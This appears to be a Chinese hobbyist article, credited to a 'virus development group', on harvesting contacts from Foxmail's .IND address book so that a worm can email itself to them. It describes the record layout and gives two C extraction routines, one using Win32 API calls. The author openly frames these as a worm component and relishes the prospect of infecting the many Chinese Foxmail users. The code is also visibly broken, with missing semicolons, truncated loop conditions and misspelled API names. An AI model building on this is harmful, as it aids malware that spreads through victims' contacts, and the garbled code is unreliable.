用Foxmail的地址传播病毒
来源:苏睿暄病毒研发小组
用FoxMail的地址传播病毒
{注:看了whaoye的《浅谈用Delphi写蠕虫病毒》后...}
foxmail的地址存在.IND里,用16进制的编辑器打开该文档会发现
::
文件头的范围为00H-39H,共64个字节。
05H保存纪录的个数,12H-21H记录地址薄名称。
记录部分40H开始是第一条记录,每条记录长B0H
每条记录的00H是记录号,04H是删除标记,该字节为1表明此记录被用户删除
11H是组记录,该字节为1表明此记录为一条组记录;
12H是名称的长度,最大为20H;
13H-32H是名称内容,33H是邮件地址长度,最大为40H,34H-73H是邮件地址内容。。。
下面我们写一段代码用于从.IND文件中将地址提出来,然后...(看你的想象力了,whaoye
已经将发送方面写的很清楚了,不用我再重复了)
我用C写的代码,delphi下的代码是不同的,大家可以自行更改...
(我没用API,原因是我用api写的在测试时,除了几次错误,以后有时间,一定补上)
file*fp_addr
char*srcname
char headbuf[0x41],recbuf[0xb1]
int i;
if(fp_addr=fopen(srcname,"rb"))==null)
{exit(-1)}
fseek(fp_addr,0x40,seek_set)
while(!feof(fp_addr))
{
char name[0x21],email[0x41]
for(i=0;i<0x21;i++)
name[i]='\0'
for(i=0;i<0x41;i++)
email[i]='\0'
fread(recbuf,1,0xb0,fp_addr)
if(recbuf[0x4]==1)
{continue;}
if(recbuf[0x11]==1)
{continue;}
for(i=0;i { if(recbuf[i+0x13]==0)break name[i]=recbuf[i+0x13] } for(i=0;i { if(recbuf[i+0x34]==0)break email[i]=recbuf[i+0x34] } /*此处添加处理name(收件人名),email(收件人地址)的程序*/ } fclose(fp_addr) 好了,既然有了读取foxmail中地址的方法,再利用搜索方法找出所有的.IND文件, 参照whaoye的文章就可以写出... {后记::foxmail在中国的用户量是很多的,假如利用这种方法写出病毒来...hahaha} {补记:: API方法 handle fp_addr char*srcname DWord dwVes char headbuf[0x41],recbuf[0xb1] int i; if(fp_addr=CreateFile(srcname,GENRIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0))==INVALID_HANDLE_VALUE) {RETURN -1} SetFilePointer(fp_addr,0x40,0,File_Begin) while(!GetFilePointer(fp_addr)) { char name[0x21],email[0x41] for(i=0;i<0x21;i++) name[i]='\0' for(i=0;i<0x41;i++) email[i]='\0' ReadFile(fp_addr,recbuf,0xb0,&dwVes,0) if(recbuf[0x4]==1) {continue;} if(recbuf[0x11]==1) {continue;} for(i=0;i { if(recbuf[i+0x13]==0)break name[i]=recbuf[i+0x13] } for(i=0;i { if(recbuf[i+0x34]==0)break email[i]=recbuf[i+0x34] } //此处添加处理name(收件人名),email(收件人地址)的程序 } CloseHandle(fp_addr)
- 上一篇:用Enter键控制焦点切换的方法
- 下一篇:用HOOK函数自动关闭IE广告窗口